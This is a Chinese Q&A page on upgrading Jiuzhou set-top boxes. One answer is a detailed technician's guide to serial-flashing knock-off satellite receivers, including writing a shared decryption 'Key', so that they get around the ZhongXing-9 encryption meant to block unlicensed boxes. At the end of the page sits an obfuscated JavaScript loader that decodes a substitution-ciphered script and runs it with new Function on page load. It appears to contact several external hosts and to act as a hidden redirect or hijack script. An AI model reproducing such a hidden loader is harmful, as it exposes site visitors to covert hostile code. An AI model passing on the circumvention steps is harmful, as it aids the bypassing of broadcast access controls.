九州机顶盒升级方法

2024-12-15 17:12:35
推荐回答(3个)
回答1:

九州机顶盒升级方法:
升级方法可以有“机对机升级”、“空中在线升级”、“串口升级”等方法(以下就以机对机升级为例子)。
1、先准备一台已经升级过新软件的机器当主机;
2、和把要升级的机器当成副机;
3、按菜单键进入设置升级界面;
4、按密码751688;
5、再按F1;
6、用方向键按确定;
7、然后用一根串口线连接主机和要升级的机子(副机);
8、把副机电源打开,进入升级;
9、等待100%就把副机电源关掉;
10、成功升级。

回答2:

一般不能升级,需厂家提供升级包

回答3:

小锅天线破解
卫星升级全攻略
小锅天线收不到台了?目前很多网友都反映自家的卫星接收机(山寨锅)无法像往常一样正常收看电视节目,这是由于负责转发电视信号的卫星“中星9号”近日升级加密所导致的。那么购买山寨锅的朋友们该如何应对呢?看看小编带来的山寨锅破解卫星升级全攻略。
目前网上已经流传了很多有关山寨锅破解卫星升级的方法,下面小编给大家带来几个有网友成功实践过的方法?希望能对大家有所帮助。
破解方法一:手动搜索
自从中星9九卫星升级后部分山寨机开机无法完成自动升级。开机后自动搜索到39%后便会出现死机现象,此时遥控失灵无法退出。注意!这不是死机。
解决方法:将信号线拔掉,会完成自动搜索,由于无信号搜索,搜完后显示搜到0套电视,不过此时遥控能用但接收机仍处于无节目状态。然后再接上信号线,进入莱单,将四组转发器进行手动搜索。注意!一定要手动,自动搜索会再次死机的。手动搜索完成后接收机可恢复正常工作,大家可以试试!
破解方法二:恢复出厂设置
今天试了一下,升级程序确实进入接收机了,但是你如果启动升级程序,仅序号从01、1001、004变到06、10001、004,升级条根本不变化。然后自动进入自动搜索,到39%以后,进度条就不动了。但是频点在一直在增加变化。你中断退出。一个节目也没有保留。你不中断推出,频点一直在增加。外观看就像死机了一样。
解决办法是进入设置,返回出厂状态,密码9999或者0000.然后进入手工搜索,频点一没有节目,进入频点2搜索就有了节目,频点三四也有节目,2,3,4这三个频点就有了54个节目。和以前一样了。
破解方法三:山寨机升级
中九机对机升级,母机一台。其实就是目前可以看的机器。串口线一条。子机一台只目前无法升级或持续显示升级状态的机子。
步骤1连接好串口线机器后面。
2。母机通电---按三下F4键。
3。确定。此时母机面版显示ON。
4,子机通电打开,面版显示为乱吗。
5,升级开始母机面 版显示001到099在变为E-P最后在变成001。升级成功!
据悉,本次“中星9号”的升级工作,目的是在保证正版机顶盒用户能正常收看原电视节目的前提下,打击所有“黑盒子”,使之无法正常收看节目。整个升级过程大约持续20天左右。每次升级都会有一批“黑盒子”无法正常收看节目。此次软件升级的同时,“中星9号”还增加了20套广播节目。此前参与中星9号升级软件开发的有海尔、国芯、华亚、Ali,封闭开发3星期,目前破解方案已经存在,由于来自总局的压力,破解方案能不能出台,或是以什么样的方式出台面市目前还不确定。

引子:本人从事家电维修行业,近期接大量中9接收机升级,已成功“升级”大量上寨接收机,为了方便同行,故将成功经验整理发布,附全3类芯片(Hi2023,HTV903,GX3001)的刷机软件和各类芯片46台的成功数据,数据均为本版块收集亲测,首先感谢原作者!
为了避免刷成砖头,请认真参考以下内容!
硬件准备:万用电表。串口刷机板(TTL转接板。可以自制,现成的也需要自制各种联机插线),标准串口延长线(用于使用标准9芯串口的接收机)
万用电表:世人皆知。用于判断各类接收机升级数据接口各引脚功能。
与电脑连接硬件:如果是标准9芯串口插头,直接使用标准串口延长线。如果是4线或5线插排,请使用TTL转接板接入电脑的串口。
串口刷机板:本人是自制的(成本6元左右,一个串口插头,max232集成电路,电解等),淘宝也有卖(大约12元钱+运费),自制电路图纸网上随便就可以找到,就是一个max232芯片以及一些辅助原件。刷机板自身工作电源无法像图纸上那样从串口获得,可以从5线数据线的4脚得到14V然后经过78L05稳压供给。但4线的数据接口标称3.3V(有些好像标5V的,未测),故本人从USB端口供电,直供5V,未使用耦合电路也是成功的,建议大家从USB端口直接供电。只要找到一个退休的USB鼠标或摄像头剪下插头即可,非常实用。该板连接接收机最终是3根线:公用地线,读数据,写数据。
用万用表判断4线或5线的数据接口:
地线:不用说了吧?就是和高频头外壳直通的那根!呵呵!
电源线:无论是多高的电压,电源相对于任何数据引脚都有相对较小的对地电阻,对地反向二极管导通性更明显。
数据读写线:两个引脚靠在一起,万用表实测电压为3.3V,而且紧靠接地脚。至于哪个是输入那个是输出,应该看板子上的标注。当然有些板子没有标注。本人没动脑筋!做了两个数据插头(接地线总归在边上),通吃所有4或5线数据口。
刷机工具软件:海尔芯片2023或2023E使用ABS_Flasher_V1.6。HTV903芯片使用serial(备份使用serial_dump,升级使用serial_app)。国芯GX3001使用GxDownloaderIII V2.004。这些软件本板块都有下载。(其他的如3330本人尚未实践到,待后补充)
芯片判断:拆机直接看!最接近内存和flash的最大的集成电路为CPU(例如和Hi2023,Hi2023E,HTV903,GX3001)。其次一个大的为解码芯片(例如:1108,1121等等),非屏蔽高频头靠近天线的一个非常小的4面贴片集成电路为高频头芯片(例如:5812,2020),内存(不必要了解):怎么描述呢?看到过SDRAM内存条或者DDR1内存条的朋友一看就知道哦,长方形两面贴片(引脚在两个长边)相对CPU脚距比较宽。flash芯片:(国芯的刷机程序需要选择flash型号,其他的可不必关心)。绝大多数近期生产的山寨机都是使用两面贴片8脚flash,比较靠近CPU芯片,较其他8脚贴片的集成电路厚(例如4558运放),我想这种就是被称为串口数据的flash吧。还有一种flash(估计应该叫并口flash),较大,引脚较多,较薄,两面贴片,引脚在两个短边,和各类路由器的flash类似,我想这种就是较正规的早期产品,在海尔类芯片里面可以刷入2M程序。
刷机:
强调:::无论使用何种刷机软件,强烈建议新手在刷机前备份原机数据!
海尔芯片:Hi2023或Hi2023E
ABS_Flasher:我用的是ABS_Flasher_V1.6版本的,其他的估计差不多。由于山寨机多1M数据,所以使用前请修改配置文件:\cmd\2023E\config.ini 文件第一行:
全部, 00000000, 00100000
就是将终结数据地址由200000改为100000(本帖附件已经修改好)
步骤:(1.2步可颠倒)
1:连接数据线(电脑串口至接收机)
2:打开ABS_Flasher_V1.6.exe,状态栏显示:等待从机连接。选择端口(我的是com1,由你的电脑决定)。选择芯片型号。再强调一下:芯片面积和厚度非常大的才是早期的2023,其他均为2023E,2023E一般和解码芯片一样大,2023则大很多而且厚,只在早期产品中存在2023,后期的全是2023E。
3:打开接收机电源。正常情况下接收机面板无显示,无视频输出,ABS_Flasher_V1.6.exe状态栏最终显示连接正常(具体内容记不得了),ABS_Flasher_V1.6.exe的“烧写”和“读取”按钮变为可操作!如果连接不正常请检查数据线或端口选择!一般没什么难的。
4:备份原机数据:按读取按钮即可,默认保存在bin文件夹下的flash.bin文件。备份完成后建议改名或转存,以免被下次备份时覆盖掉。
5:升级软件:按“打开”选择已准备好的软件,再按“烧写”等待进度条走完,状态栏显示“烧写成功”(具体记不得了,就这个意思),烧写成功后关闭接收机电源,拔去升级数据线。---试机---但愿OK了!
最最重要的!升级文件问题!
(1)最佳选择:由厂家提供的升级文件,此文件刷机后系统密码变为6为,000000为用户密码,超级密码未知(如果是通用密码,请知道的朋友贴上来共享一下,005518是不行的),支持自动搜索。本人也是从别人机器上刷了一份,但是由于芯片组合不一样(应该是高频芯片)而收不到信号,最终未成功使用过1例。
(2)尝试他人劳动成果:坛子里有好多已刷成功的bin文件,不妨试试,但在选用前一定要仔细看清别人的芯片组合(绝对不能依赖山寨机壳上的型号),至少至少主芯片型号不能错!否则就成砖头了!如果高频型号不同,那么很有可能刷好后就是收不到信号。由于海尔芯片市场占有率高,芯片组合较多(目前本人的认为,非权威),在不绝对主板型号一样的情况下,刷成功的几率不是很高。
此法避免砖头化的bin简单检查:使用UltraEdit(google上满天飞,自己去下载,一个16进制的编辑工具)打开原机备份文件,和准备使用的bin,看看开头部分是不是一样或者绝大多数一样,(也可以打开Ul的比较功能来对比两个文件),其00000000h至00020000h段为系统启动数据,不太一样的绝对不要刷,刷成砖头了只能硬改启动了!
(3)手动修改:万能的方法,本人一直使用!缺点:不可以自动搜索,否则就回到解放前!原理:仅修改原机的节目数据。方法:使用UltraEdit32打开原机备份文件,将40000-57b10.BIN的内容替换原机的00040000h至00057b10h段。保存即可刷机!成功率100%。
ABS_Flasher实践经验:如果误将2023E芯片选择为2023的结果是可读不可写。建议使用“全部”的读写方式,本人曾手动编辑一个bin保留00060000h至000ffff0h,然后选择“应用软件”,结果刷成了砖头。希望有(刷成砖头)经验的朋友跟贴分享一下ABS_Flasher使用心得。
海尔芯片避免砖头化思路:2023启动时是读取flash的00000000h至00020000h段加载的,如果此段代码错误就会导致系统2023无法启动,以至于连电脑都连接不上(傻得连爹都不认了! ),ABS_Flasher和2023建立连接后默认不会断开,除非你关闭软件或者接收机,所以说即使是刷错了bin,只要在关闭ABS_Flasher或者接收机电源前还是可以重刷的!没有把握的情况下或者是新手不妨在升级进度完成后,再次备份一份数据(原来的备份请先改名或转存以免被覆盖),然后用UltraEdit32打开它和原机备份数据进行一下对比,就是看00000000h至00020000h的数据是否差不多。在有把握的情况下再关闭接收机电源或者ABS_Flasher刷写软件再去试机。

HTV903芯片:
serial_dump:备份原机数据(Dump程序.exe)
(1)连接数据线
(2)打开serial_dump,选择端口,偏移:0,长度100000(2M的为200000)(一般都是1M,即100000),其他选项默认,选择文件保存位置并输入文件全名包括扩展名(例如:test.bin)。按“连接”
(3)打开接收机电源,正常连接后,“连接”按钮变为不可操作,“断开”和“dump”按钮变为可操作(接收机无视频输出,无屏显)。如果不能连接请检查数据线和转换板或端口选择。一般也没什么问题。
(4)按“dump”等待文件输出结束。

serial_app:刷写数据(串口升级工具.exe)
(1)连接数据线
(2)打开serial_app,选择端口,勾选“压缩模式”,按“”选择准备好的升级bin文件,其他默认。按“开始”
(3)打开接收机电源,等待进度条走完(接收机无视频输出,无屏显),并等待接收器自动重启到有屏显。关闭接收机电源,拔去数据线,---试机---OK了!
升级文件:至于903的芯片组合我遇见的各型机都是一样的,在坛子里下载了一个别人的,均可用,而且可以自动搜索!密码不变。感谢那位提供bin文件的朋友(原文件名为:自考HTV903+AVL1108E+5812.bin)
如果有其他组和的,也请发上来大家共享一下!

国芯GX3001:
升级工具软件:GxDownloaderIII V2.004
说实在的,这几个软件就这个最麻烦,我搞了将近半小时才会用,但该软件(可能是)使用注册表保存用户配置,下次启动时详细配置还在。

(1)连接数据线
(2)打开GxDownloaderIII,选择端口(serial port),点端口后面的“>>”打开详细设置栏,
芯片型号:选择“GX3001”。晶振频率选择“4M”(有必要吗?3001还能以其他频率工作吗?为何厂家不内置?)。flash类型:“PPI-flash”为并口,“SPI-flash”为串口,一般板子上都是8脚的串行数据接口的flash,那就选择“SPI-flash”,flash型号就有点头疼了,我的是25L800还有其他什么的忘记了。下拉框里面没有啊?选个差不多的吧:“W25X80”,内存类型和容量默认“SDRAM”“64M”(那一块内存有64M吗?SDR内存条8芯片最大的我只见过256M的,除以8还有多少?不管他了,好用就行了)
Mode:工作模式“Download”为刷写数据,“Erase”为擦除数据(我没用过,怕变砖 ),“Dump”为备份数据。
Section:选择需要编辑的数据内容。“All”为全部,“Bootload”为启动加载项(估计这个刷错就会变砖),“Main code”为主代码(估计这个错了要瘫痪),“Logo”顾名思义是开机画面,“Common Data”通用数据(估计是操作程序),“Default UserDB”默认用户数据
,“UserDB”用户数据,“SysDB”系统数据,“Key”搞的就是他了!!
File:选择备份的保存位置和文件全名(包括扩展名)或者准备好的升级文件位置。
按下面的大按钮,备份为“Dump”,刷写为“Download”
(3)打开接收机电源,接收机无视频输出,有些接收机面板会显示数字或字符,显示内容根据工作模式和编辑的数据内容而不同(仅了解一下,可不必管他),等待进度条完成,并弹出成功对话框,并有声音提示。关闭接收机,拔出数据线,---试机---OK了!
备份说明:Mode选择“Dump”,Section选择“All”(也可以将各单元数据分别备份)
升级说明:Mode选择“Download”,Section:至于Section选择就根据你的需要了,如果你找到的是一个完整的升级文件(1M或2M)那就选择“All”(全部),至少我目前升级的几台机没能找到可用的完整bin文件,而且高频型号不一样的结果就是没有信号(或只没有信号质量),我100%成功的刷法是仅升级“Key”,这个Key也是坛子里面找到的,那么Section就选择最下面一项“Key”。可以想象得到仅升级Key的缺点依然是不能自动搜索!(附件中已带Key.bin)
补充说明:进度条到100%不代表已经完成,必须等弹出成功对话框,并有声音提示才能关闭接收机。

常见问题汇总:(陆续更新)
(1)软件无法与接收机建立连接(软件什么反应都没有,接收机依然正常启动有视频输出):确认您的COM端口选择无误。检查数据线,不能确认信号输入和输出的就调换两线再试。不要张冠李戴!确认芯片型号和您使用的刷写软件配套。
(2)软件与接收机连接不正常(打开接收机后软件有反应,但报错或不能正常通讯):检查连接线是否某一根不通或接错,标准9芯串口的5脚一定要连。
(3)烧写失败(烧写过程中提示失败或者进度条始终长时间停留在一个位置):检查bin文件是否超过大小(例如山寨2023E的都是1M,刷2兆的bin是不行的),连接线接触是否可靠,接收机是否存在硬件故障。
(4)变砖了怎么办?
a:首先确认其是否还可以与电脑连接,如果可以,那就重刷bin。
b:如果不能连接那就拆开机壳,找到BL脚硬跳线后开机。
c:如果找不到BL脚,那就看你的flash了,如果是8脚的串口flash,那就自制一个并口的读写器,很简单的,插入电脑的并口直接刷写flash!
d:如果是早期的16M并口flash,那我建议你拿去砌墙,那个flash读写器的价格是3位数。
(5)同样型号的山寨机刷同样的bin(完整)有的可用有的不可用:山寨机的型号不规范,型号一样不代表主板一样,选择bin绝对不能依赖机器型号,最好是依赖主板型号,但是主板也山寨,所以只能依赖芯片型号了

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();